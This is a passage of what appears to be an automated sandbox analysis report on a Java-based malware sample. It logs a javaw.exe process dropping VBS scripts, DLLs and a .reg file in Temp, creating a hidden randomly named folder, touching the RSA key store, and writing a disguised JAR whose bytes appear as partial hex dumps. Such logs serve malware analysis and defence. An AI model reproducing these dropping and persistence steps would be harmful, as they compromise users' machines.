synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6DF38C5B CreateDirectoryA

C:\Users\user\AppData\Local\Temp\hsperfdata_user\1540 read attributes | 
delete | syn
chronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
delete on close

success or wait 1 6DF38D58 CreateFileA

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

success or wait 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

success or wait 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

success or wait 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787673 unknown

Analysis Process: javaw.exe PID: 1540 Parent PID: 6992Analysis Process: javaw.exe PID: 1540 Parent PID: 6992

General

File CreatedFile Created
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C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787673 unknown

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc237458
0bbd95f6ba_d06ed635-68f6-4e9a-955c-4899f5f57b9a

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file

success or wait 1 73787673 unknown

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Local\Temp\_0.547304833318912953683870
6564981496.class

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Users\user\AppData\Local\Temp\Retrive4117647702204724132.vbs read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Users\user\AppData\Local\Temp\Retrive7530640457785674935.vbs read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Users\user\DfSJGumiMVk read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7378845C CreateDirectoryW

C:\Users\user\DfSJGumiMVk\ID.txt read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 73789D3D CreateFileW

C:\Users\user\DfSJGumiMVk\mrSpbGLeBqF read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7378845C CreateDirectoryW

C:\Users\user\AppData\Local\Temp\GYcBDbnJPA32765125318362762
81.reg

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Users\user\AppData\Local\Temp\Windows278170804881636675.dll read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

File Path Access Attributes Options Completion Count
Source
Address Symbol
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C:\Users\user\DfSJGumiMVk\mrSpbGLeBqF\VRacgaBger.ckLFQ read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 73789D3D CreateFileW

C:\Users\user\AppData\Local\Temp\Windows9046764930049020633.dll read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Users\user\AppData\Local\Temp\Config5175199137087621866.sqlite read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Users\user\AppData\Local\Temp\sqlite-3.8.11.2-42eaffe0-b8ea-4880-
ab72-6ea9a41a3e14-sqlitejdbc.dll

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 73789D3D CreateFileW

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\Retrive4117647702204724132.vbs success or wait 1 73788173 DeleteFileW

C:\Users\user\AppData\Local\Temp\Retrive7530640457785674935.vbs success or wait 1 73788173 DeleteFileW

C:\Users\user\AppData\Local\Temp\Config5175199137087621866.sqlite success or wait 1 73788173 DeleteFileW

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\ProgramData\Oracle\Java\.or
acle_jre_usage\cce3fe3b0d8d83e2.timestamp

unknown 57 43 3a 5c 50 72 6f 67 
72 61 6d 20 46 69 6c 
65 73 20 28 78 38 36 
29 5c 4a 61 76 61 5c 
6a 72 65 31 2e 38 2e 
30 5f 32 31 31 0d 0a 
31 36 31 38 39 30 30 
33 39 33 38 31 38 0d 
0a 

C:\Program Files 
(x86)\Java\jr
e1.8.0_211..161890039381
8..

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-
21-3853321935-2125563209-4053062332-
1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-
4e9a-955c-4899f5f57b9a

unknown 45 02 00 00 00 00 00 00 
00 05 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 4a 32 
53 45 00 

..............................

..........J2SE.
success or wait 1 73787673 unknown

C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8187 50 4b 03 04 14 00 08 
08 08 00 41 a4 51 4a 
00 00 00 00 00 00 00 
00 00 00 00 00 14 00 
04 00 4d 45 54 41 2d 
49 4e 46 2f 4d 41 4e 
49 46 45 53 54 2e 4d 
46 fe ca 00 00 4d 8d 
31 0b c2 30 14 84 f7 
40 fe c3 1b 75 88 58 
41 28 d9 6a 71 11 62 
45 44 dc e4 b5 79 d2 
40 4c 4a 92 22 fd f7 
46 3b 28 dc 72 df 1d 
77 0a 9d 79 50 4c e2 
4a 21 1a ef 24 14 ab 
35 67 95 fb 23 d5 80 
5d 4f 90 59 0e cb 4f 7c 
13 75 a3 d4 fe 78 91 
a0 d0 38 51 5b 8c 11 
5e c6 5a 68 09 50 6b 
d2 80 63 f2 4f 4c a6 43 
6b 27 68 b3 46 63 35 
67 df ae 38 61 ea 25 
40 b6 81 30 91 16 bb 
49 ce eb f7 cd 56 b4 
45 09 8b 26 60 67 09 
6a 1f 06 1f f2 90 77 4b 
ce 7e 77 12 fc 40 33 
47 bb 3a 9c 31 71 c6 
d9 1b 50 4b 07 08 5c 
91 9c ef a1 00 00 00 
d0 00 00 00 50 4b 03 
04 14 00 08 08 08 00 
41 a4 51 4a 00 00 00 
00 00 00 00 00 00 00 

PK........A.QJ................
META-
INF/MANIFEST.MF....M.1..
0
...@...u.XA(.jq.bED...y.@L
J."..F;
(.r..w..yPL.J!..$..5g..#..]
O.Y..O|.u...x...8Q[..^.Zh.Pk
..
c.OL.Ck'h.Fc5g..8a.%@..0
...I..
..V.E..&`g.j.....wK.~w..@3G
.:.1q...PK..\...........PK.......
.A.QJ..........

success or wait 1 73789FBC WriteFile

File DeletedFile Deleted

File WrittenFile Written
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C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8192 4a 38 e3 ad 1f 9d 59 
0a f4 6d 3c 7e b2 66 
9c 24 17 97 93 02 83 
53 df e1 99 93 98 ad 
99 83 f1 25 07 f5 c2 ef 
e7 c0 ea 27 74 cf d7 
86 5a 9a 86 0b 23 03 
c3 0e 26 6b e8 0e bc 
bd 0e 0b f2 15 6d d7 
32 91 61 9c 81 db 2b 
c8 84 4f f9 7b 4b 2d 
86 3b 8a b6 37 0f 7d 
47 d2 a2 05 03 a7 50 
1e 8e 1e 69 d5 13 f6 
9e 62 ad ba 07 08 fb 
b4 a5 5c ec 36 10 4e 
40 05 22 21 45 dc ba 
3a 29 5a 0b 01 5d ac 
2a fc 6b 19 ba c4 6a 
85 07 08 43 57 a0 f9 
76 3b f4 7e 92 9d c4 
48 53 ee 5c b2 c7 6e 
a1 91 e2 96 f1 fb 8d 1f 
7a bb b4 65 40 ae fb 
b3 0b d0 c6 77 63 93 
82 f2 a6 c3 82 db d8 
5d 39 b5 48 cd 9b d8 
0d b2 d3 d9 04 54 ec 
04 2e 52 2f 42 d7 1b 
cf b3 f0 a0 9e 6a 7f 88 
72 78 ce a7 b2 b6 2c 
6e c5 bc b3 51 49 28 
85 ef d2 a6 1c 04 c7 
aa 26 ac 35 87 9c 87 
ce 66 42 1d b5 b4 3b 
a9 9c 6a 6c 01 05 45 

J8....Y..m<~.f.$.....S........
.%.......'t...Z...#...&k......
..m.2.a...+..O.{K-.;..7.}G....
.P...i....b.......\.6.N@."!E..
:)Z..].*.k...j...CW..v;.~...HS
.\..n........z..e@......wc....
....]9.H........T...R/B.......
j..rx....,n...QI(........&.5..
..fB...;..jl..E

success or wait 16 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8187 17 aa 22 4b 24 f8 af 
17 c1 d3 8b b4 65 f9 fb 
56 b6 84 94 bb 9c d4 
67 f9 d8 37 25 4c 36 
72 c4 b3 5e 42 79 51 
21 ba fe 27 94 7c b1 
ac e0 6d 59 4d f5 26 
35 c1 e7 b8 bd 92 0c 
e2 63 4a d2 c7 f5 de 9f 
2f f0 4c 3a 4b b3 0a 
ba e3 f8 57 c6 b9 db cf 
2e cc 06 a6 b7 f6 54 4f 
86 88 55 32 8d 34 d4 
f0 74 5b b3 da 0e e0 
5a 30 3e 8c 00 79 a7 
c7 c4 98 06 e8 a3 b1 
c0 76 a4 12 92 e0 cc 
ff 1a 68 5b 50 62 a8 
b5 f5 d5 41 fb 21 5f 46 
76 3c 30 ef ee 4a 60 
90 0f 56 52 aa 98 fc 
20 38 df df a7 c6 be af 
4c a0 28 b9 0c fc 8b 
d1 7a f5 3c e2 71 2b 
ca 28 34 42 9c 3a e4 
d7 6f a4 43 b4 d6 31 
06 76 fd a5 05 e7 8d 
ef f6 5a 31 67 da 00 fc 
88 0c 30 2f 49 a7 cc 
c9 dd bb e6 ce 3a 76 
31 99 e5 84 90 6d 9d 
a5 2a 61 19 4e 83 70 
71 f6 3e 36 3e c1 e5 
72 56 f4 e7 b3 f1 39 
c3 6b f7 a1 d7 32 3f 
0b 62 54 

.."K$.......e..V......g..7%L6r

..^ByQ!..'.|...mYM.&5.......c
J...../.L:K.....W..........TO..
U2.4..t[....Z0>..y.........v..
.....h[Pb....A.!_Fv<0..J`..VR
... 8......L.(.....z.<.q+.(4B.:
..o.C..1.v.......Z1g.....0/I..
.....:v1....m..*a.N.pq.>6>..r
V....9.k...2?.bT

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8187 f7 4b cc ef 72 6a 0e 
99 2f 02 f0 34 0d a8 
00 20 96 25 2a 78 88 
a6 7f 3b f5 e0 9b 3a 
10 96 3e f5 99 5b ee 
9c c0 36 51 3e 0d 57 
f5 06 48 69 ba e3 ba 
78 9d 61 9b f8 e5 31 
13 03 ee 09 69 9a 5b 
37 35 a7 f9 31 c0 0a 
74 94 c0 d1 cc 7d 65 
1c 74 f8 f6 c2 00 62 
ab 13 e5 5b a4 29 6f 
fa bb 39 94 28 6b 6b 
e2 a8 14 fd 4e 1f ea cd 
a9 c4 45 cf d3 4b 7f 7f 
0d e1 ec 12 a2 70 be 
83 ed ee d3 01 a6 17 
96 21 21 be 45 72 f0 
a4 b0 5f 39 cf 06 1e 7f 
40 e4 30 ed a6 a4 bc 
b3 2c d3 f8 4a 7c 2c 
a3 78 ab fe 3b d7 58 
3a 72 8f d3 bf 5e 39 
e8 2a 14 9b 75 97 07 
c9 b8 fe 76 51 9b 78 
95 20 ef f1 83 d7 b2 
a7 4a dd 1f 9d a7 77 
00 a8 c1 d2 99 8b ea 
2e 5e cc 57 57 33 7e 
77 30 71 d4 37 0e 0d 
fb 06 6d 68 14 2d 44 
05 dd 6b 79 fb 12 14 
d6 b3 7b fc 0d 99 f6 
44 23 1f 63 5b 47 9b 
f4 29 29 f2 80 15 99 

.K..rj../..4... .%*x...;...:..>..
[...6Q>.W..Hi...x.a...1....i.
[75..1..t....}e.t....b...[.)o..9.
(kk....N.....E..K.......p
.........!!.Er..._9....@.0....
.,..J|,.x..;.X:r...^9.*..u....
.vQ.x. ......J....w........^.W
W3~w0q.7....mh.-D..ky.....
{....D#.c[G..))....

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8187 5b 61 09 a2 07 ba 50 
fb 93 48 19 3c e7 08 
c2 91 4b 9f 0b 51 cb 
ae 75 88 6f f6 0b e7 
e1 e4 94 b8 4d be 8d 
10 2c b1 39 72 5d 81 
0a bf e5 3c 20 13 04 
e0 33 e8 12 c3 c2 e2 
17 d8 33 b2 f4 f4 68 
5d 9e cf a5 2d b7 0b 
e5 9c d8 45 03 3a d3 
f0 45 ec 6c f6 79 ed 
4a 84 37 6d 2a fd d3 
69 27 1e ac 2e 15 94 
7c de 4d 09 bf 4b 02 
b3 a8 52 2f 0b 36 3e 
47 86 5c 5d 05 3b 3c 
1c c4 13 49 2a 67 8e 
50 0f 31 de f1 36 c1 
5b 93 e8 88 13 93 11 
a5 2a 27 3c 7a 54 13 
c4 8f de a0 88 98 36 
4d 25 2d 7e d0 9e 33 
5d f9 c8 0a d7 38 39 
61 7e 10 e0 e2 68 ad 
c4 1d b7 71 cd d3 be 
71 4b 6a 26 8f 42 05 
0c cf c6 b4 08 74 d8 8f 
a0 f6 f0 da c8 84 4a da 
6a 78 4f cf bd 70 8d 
e6 4c 55 28 ac f6 09 
a7 9e 06 3d 16 25 ed 
0e c7 b4 0e ff 47 d6 
e4 a7 14 81 30 4c 10 
c9 d4 da d8 2a 6d 9e 
cb b9 de 0a bd 11 d5 
c9 

[a....P..H.<....K..Q..u.o.....
..M...,.9r]....< ...3.......3.
..h]...-.....E.:..E.l.y.J.7m*.
.i'.....|.M..K...R/.6>G.\].;<.
..I*g.P.1..6.[.......*'<zT....
...6M%-
~..3]....89a~...h....q.
..qKj&.B......t........J.jxO..
p..LU(......=.%......G.....0L.
....*m.........

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8192 1a 50 11 ef 8b 62 c4 
bd a4 90 2e c5 84 16 
bc 8e b4 f0 59 a8 24 
2c 89 6c 66 c9 58 1a 
90 a1 dd 84 9c fa 10 9f 
66 62 fc 75 0b 7d 5b 
48 e6 c1 72 2c 34 3d 
98 6d 8f c0 d5 93 53 
ac ac 89 ed 76 d4 68 
85 9e 3e 3d 4f ba 5c 
29 d4 85 32 47 08 5d 
bd 15 32 e2 77 46 b9 
74 56 1e 9c 93 52 6f 
9c 8e b7 88 51 07 48 
98 32 ae 90 17 26 80 
ec f4 b8 ef 69 24 a7 
54 02 0a d5 ea 2d 66 
0f 59 3e 6c 46 ee 45 
f4 7e 75 e0 aa 54 9a ff 
c3 7a ad 1e 2a 66 b8 
6a e9 0b 76 ba ec 03 
13 7d 05 ce bb 55 7e 
9a d4 30 e4 08 d8 ce 
a4 68 f2 80 8e d4 a5 
bb bc b6 97 0d 6a 28 
16 85 7e c0 b3 24 9c 
dd 41 df 12 17 93 25 
36 59 12 3b f9 ad 80 
aa 62 30 e5 08 99 03 
31 e3 9e 90 15 f4 5e 
a4 f4 11 1b 73 de f8 
02 30 cc 9e ed 49 90 
6b f7 5f 59 55 44 31 c7 
09 1c 0b 99 b2 4f b4 
38 0f 39 90 f0 6a 2e 
96 c5 1b 81 dc a0 3f 

.P...b............Y.$,.lf.X...

......fb.u.}[H..r,4=.m....S...

.v.h..>=O.\)..2G.]..2.wF.tV..

.Ro....Q.H.2...&.....i$.T....-f

.Y>lF.E.~u..T...z..*f.j..v....
}...U~..0.....h..........j(..~
..$..A....%6Y.;....b0....1....
.^....s...0...I.k._YUD1......O
.8.9..j.......?

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8192 24 1f f7 13 21 93 a6 
04 84 7d ab b8 63 f5 
8b 09 69 0e 6d af 8a 
21 97 06 14 59 a8 d1 
56 ba 18 3b 3a 65 57 
45 5a 86 29 3f 2a 25 
e9 7f 21 cc 4e fa ab b4 
13 b9 7f dc 8c 14 f8 20 
19 fc 1a 64 5f db 41 
37 09 1f 52 b0 18 aa 
0d 5c bb ed 86 89 41 
98 71 82 10 fa f9 c9 dd 
5f 35 2a 29 a6 e9 e9 
77 5f 21 6b 62 d6 bf 
eb 79 f7 4d d4 3b 76 
20 68 2b 45 c0 ce 35 
b9 3b f8 c4 18 fa fe af 
58 0f 4d d7 bb 04 61 
2a 26 55 81 c8 f9 83 
a9 cf f0 02 62 73 93 
48 4c a8 8b ad 0e 07 
53 9c ac bf 3f d8 d6 03 
fb f2 81 b9 83 3a d1 
d3 8f 71 97 42 bc 0e 7f 
52 8b 0a 56 41 d2 0f 
85 a4 82 7d 87 6c 30 
67 4b 9c 07 af e2 17 
57 b9 89 ac 10 6a 3d 
d5 f7 07 c0 69 59 d2 cf 
c9 11 40 a9 d7 e8 ff 
dc 85 d9 45 72 74 ac 
d8 b5 08 e9 15 86 33 
f9 c3 f1 eb e7 39 3b 
16 b1 fe e6 87 6a 2b 
93 e4 95 23 2c e0 2f 
3d a8 ff 

$...!....}..c...i.m..!...Y..V.
.;:eWEZ.)?*%..!.N.......... ..
.d_.A7..R....\....A.q......_5*
)...w_!kb...y.M.;v h+E..5.;...
...X.M...a*&U........bs.HL....
.S...?........:...q.B...R..VA.
....}.l0gK.....W....j=....iY..
..@.......Ert.......3.....9;..
...j+...#,./=..

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8192 0c bb 4c 37 44 99 25 
60 4a 4e dc ec 2f 14 
66 99 e3 40 71 76 94 
ac d0 eb 06 31 75 3a 
c6 f8 8f 6c 48 88 a1 
ed cd 83 80 22 fe 70 
98 b4 7f 35 82 79 7c 
72 8a 0d 72 54 0d ef 
3f 71 5a 67 6d e7 1a 
bf f7 c8 e1 ee 47 1f 9a 
15 5c d4 45 ea e8 2c 
1c 7b 9a 9e fd 8c ac 
19 e7 b8 78 6d 27 94 
45 f1 d1 1b 7d dd e5 
e8 15 66 b0 21 76 af 
60 0f eb ec b8 d1 89 
2e 23 7a 53 68 75 4c 
58 8c 93 1f ec 7b e2 
bb 8e 0f 91 1b 83 c9 
b6 28 05 63 44 ed d2 
06 5a a7 97 52 ba 98 
26 fb ee 8d ba 9c 29 
85 53 f2 9e db 7d fc 
b7 ef 97 b7 6a a3 f8 
60 8d 3c cb b8 56 a8 
0c 0c ad 53 e2 2f f5 9a 
ec 9b 43 70 c0 78 b3 
ca 4c 2e 1d 7f a0 ac 
14 69 97 10 a6 32 b1 
4c 50 bb 0e 5f 6a f4 f0 
93 75 3b 01 63 36 cf 
f2 41 f7 b7 25 bb 75 
36 1f ec 35 1b 74 3c 
b7 89 69 ed b8 b0 be 
66 31 eb de 4d 4e 55 
8c 7d 97 52 63 44 28 

..L7D.%`JN../.f..@qv.....1u:

...lH......".p...5.y|r..rT..?qZg
m.......G...\.E..,.{........xm
'.E...}....f.!v.`.......#zShuL
X....{.........(.cD...Z..R..&.
....).S...}.....j..`.<..V....S
./....Cp.x..L......i...2.LP.._
j...u;.c6..A..%.u6..5.t<..i...
.f1..MNU.}.RcD(

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8192 c7 10 a8 4e ed 25 ab 
2a 2c f5 5a 56 a9 d3 
54 ca 48 df 2d 9d f5 
8b fe 62 aa ac 3b a8 
dd 58 a3 4c 92 d1 4c 
be 04 9d 33 3a 93 e4 
54 a8 34 62 d8 44 16 
84 bf b4 a8 d5 31 2b 
f8 ea 92 5b af eb 61 
28 8a 61 b1 7c d7 5e 
5e 87 4d 64 f9 be be 
6c e3 7d 70 93 c8 d4 
21 b0 36 4d 2a 0c 87 
6d bc e4 59 81 c4 66 
db f4 09 25 cf eb a6 
99 01 c9 9e 1a b0 e6 
b7 ef 94 a2 1d 75 97 
5c 80 c8 58 bc 11 91 
c8 49 ce fa fb a0 62 
da 9b 67 a0 71 97 f4 
5f 5f db 23 09 a3 bc 
ab 9d f1 4c 23 35 57 
11 73 8a c5 74 7c e9 
52 d8 af 39 e7 78 81 
5c 5c b8 08 cf 29 ab cf 
37 46 8b 61 23 ea 30 
fd 15 a8 91 ec c5 41 
96 ec 60 33 07 8e 06 
cc ec fd eb b0 07 99 
20 5c f7 32 93 85 b0 
93 30 71 ce cf 2e 4e 9f 
ca 13 ea 3c 3f dc 90 
7a 99 4d 78 18 6f da 
4b d2 9a b1 ff 61 99 f9 
8a db e0 6d 83 1f 59 
6b 9d 3d bd 78 ba a7 

...N.%.*,.ZV..T.H.-....b..;..X

.L..L...3:..T.4b.D......1+...[

..a(.a.|.^^.Md...l.}p...!.6M*.

.m..Y..f...%...............u.\

..X....I....b..g.q..__.#......
L#5W.s..t|.R..9.x.\\...)..7F.a
#.0......A..`3.......... \.2..
..0q...N....<?..z.Mx.o.K....a.
....m..Yk.=.x..
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C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8187 30 8a bb 83 b7 88 db 
9e 36 98 5d 3f 17 a6 
c7 62 e2 6a 94 da 3b 
d2 96 74 cb 67 2b 5a 
54 81 eb ad 91 44 a2 
ba b2 97 bb d0 77 64 
fc 18 e4 c2 a1 1c 72 
57 c0 b3 6d 30 af d6 
52 e3 f6 ee ba c2 51 
e6 bd 77 96 d0 5a b0 
88 72 c9 bd 95 93 99 
25 00 05 be 3b 7a 75 
73 11 c1 26 37 f3 a5 
79 38 a4 e2 d4 00 95 
76 96 4b b3 31 7a 4e 
ba 41 ad 97 43 77 c9 
16 80 e5 1e 02 45 ab 
38 21 92 40 90 66 41 
2e c6 bc d0 63 b7 36 
c4 2f d4 a0 f6 e6 f9 28 
4a 6e 18 37 f9 dc 5a 
e1 78 49 ab 6c 30 83 
84 85 57 e0 7c 88 be 
25 ee 9d a3 ce 69 b0 
28 36 9b b3 dd 12 ca 
7e fb 94 27 c2 c8 f8 ad 
5f 87 00 0c eb 30 f1 
0b b1 a8 9b cb 6e c0 
e4 e2 bc f9 64 24 0d 
23 83 09 a4 f2 9a f8 
9a 12 1b 47 c6 40 85 
42 08 54 84 fb d6 d7 
51 b4 b3 59 dc ec 97 
63 ba f0 84 08 23 eb 
7e 51 59 80 4a 1e f7 
8d 6e ee 1e c2 09 54 
b4 

0.......6.]?...b.j..;..t.g+ZT.
...D......wd......rW..m0..R...
..Q..w..Z..r.....%...;zus..&7.
.y8.....v.K.1zN.A..Cw......E.
8!.@.fA....c.6./.....(Jn.7..Z.x
I.l0...W.|..%....i.(6.....~..'
...._....0......n.....d$.#....
.....G.@.B.T....Q..Y...c....#.
~QY.J...n....T.

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8192 d8 93 e3 28 04 b8 a0 
05 b9 3b dc 44 75 be 
fe 6c b4 6b cf 8b cb 
a9 97 ed 36 65 83 91 
51 29 34 d6 0a 52 de 
35 8e fb 8b 48 8e 1e 
4f f1 3e e3 c3 6c 0a 90 
e6 61 b1 9c ed f0 f8 e6 
2c e4 08 39 00 f0 a7 
61 ae 9b ac fd 95 b5 
1b 36 b1 0d cf 7f 4b 
39 3f c9 61 47 34 53 
84 94 e2 f4 12 46 3a 
45 10 1d 52 ee 5c f2 
02 87 22 42 96 18 76 
70 d3 74 07 ad 6e 7d 
ab 22 a3 cf 6e 7f 37 
03 de f1 3c 9a 6d ae 
26 13 f9 f5 c8 5e d0 
d3 e2 66 bd 95 b5 e8 
56 ab 9f 91 97 fe db 
50 df ba ac ce be 66 
33 b6 f0 04 89 76 83 
a5 5e a2 fc 8e dd ce 
2e 06 21 23 a2 1b d9 
c4 de f0 9a 46 14 96 
1a 18 30 7b 14 c8 e0 
1e e7 69 62 b2 7c 33 
c2 72 b3 1f cd 4e 9b 
6d 19 5f ce f4 fe c7 3b 
37 9a 81 2c df f3 f3 8c 
3e 6f 12 57 10 4e 07 
65 4f bc 1d b3 75 c6 
97 96 fb 57 a3 f2 7c 
60 69 3f 00 da 83 75 
ef 24 70 60 32 45 

...(.....;.Du..l.k......6e..Q)
4..R.5...H..O.>..l...a......,.
.9...a.......6....K9?.aG4S....
.F:E..R.\..."B..vp.t..n}."..n.
7...<.m.&....^...f....V......P
.....f3....v..^.......!#......
.F....0{.....ib.|3.r...N.m._..
..;7..,....>o.W.N.eO...u....W.
.|`i?...u.$p`2E
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C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8187 33 0d 38 bc cf b3 fc 96 
d6 d8 d7 d7 5d 8e e5 
3e a7 2a 24 b4 62 ec 
da 15 a2 e1 f1 f3 6a f6 
c5 0e 42 bb cb 34 d8 
95 4d 80 f5 87 ce 89 
c2 0f 72 c1 9e 14 c4 
ab bf d5 52 12 61 56 
52 7d d1 5b 6f 84 90 
e8 9a 7d 34 4c e9 e0 
24 17 70 20 88 5d ec 
4c ab f2 56 e4 cf c8 cd 
31 d8 84 4a 39 10 77 
36 7a e7 6b f7 b4 d9 
bc f3 b2 10 3d f2 b5 c0 
1e db 66 57 3e 3c b5 
bf f4 4a 76 db e9 48 4f 
99 7a 3b 39 02 ad 5b 
f3 d3 d0 c1 d6 2a fd 
65 c5 4b 07 55 0a da 
4f a5 ba 02 b0 b7 02 
91 c0 80 1a 19 df a7 
93 18 f9 c2 51 09 4e 
24 e1 02 e6 84 c2 fb 
74 f6 2e 10 69 50 aa 
1f b9 f6 70 94 f6 89 0b 
e7 a7 91 8c ff ce f3 a9 
f2 11 b5 ea 7d 63 25 
bf 4c 23 ea 1c 40 45 
6c 21 35 d9 99 c6 03 
e4 a0 c7 4c 10 55 53 
78 b1 c8 2c a4 d5 ba 
35 ad da b2 28 90 85 
b4 b2 74 0d a4 ec ac 
b5 9f 5d db a9 88 bd 
6b 88 02 

3.8.........]..>.*$.b.......j.
..B..4..M.......r.......R.aVR}.
[o....}4L..$.p .].L..V....1..
J9.w6z.k.......=.....fW><...Jv
..HO.z;9..[.....*.e.K.U..O....
.............Q.N$......t...iP.
...p................}c%.L#..@E
l!5.......L.USx..,...5...(....
t......]....k..

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 8192 e7 f3 4f 09 ba 38 5f 05 
2f 68 93 f8 fa e6 a9 48 
a8 05 00 87 cf 9c a9 
d2 5c 02 9d 0a e4 4e 
c9 8e 7a 22 8b ee 29 
84 96 46 d0 8b cc 7c 
20 ad df d6 5b 21 ea 
4c 0e 52 8a e4 28 17 
c7 5c c8 d1 77 40 c7 
11 90 f1 5a 67 0d 14 
cb 1a dc e5 b6 29 42 
64 40 ab 48 f7 88 cc 
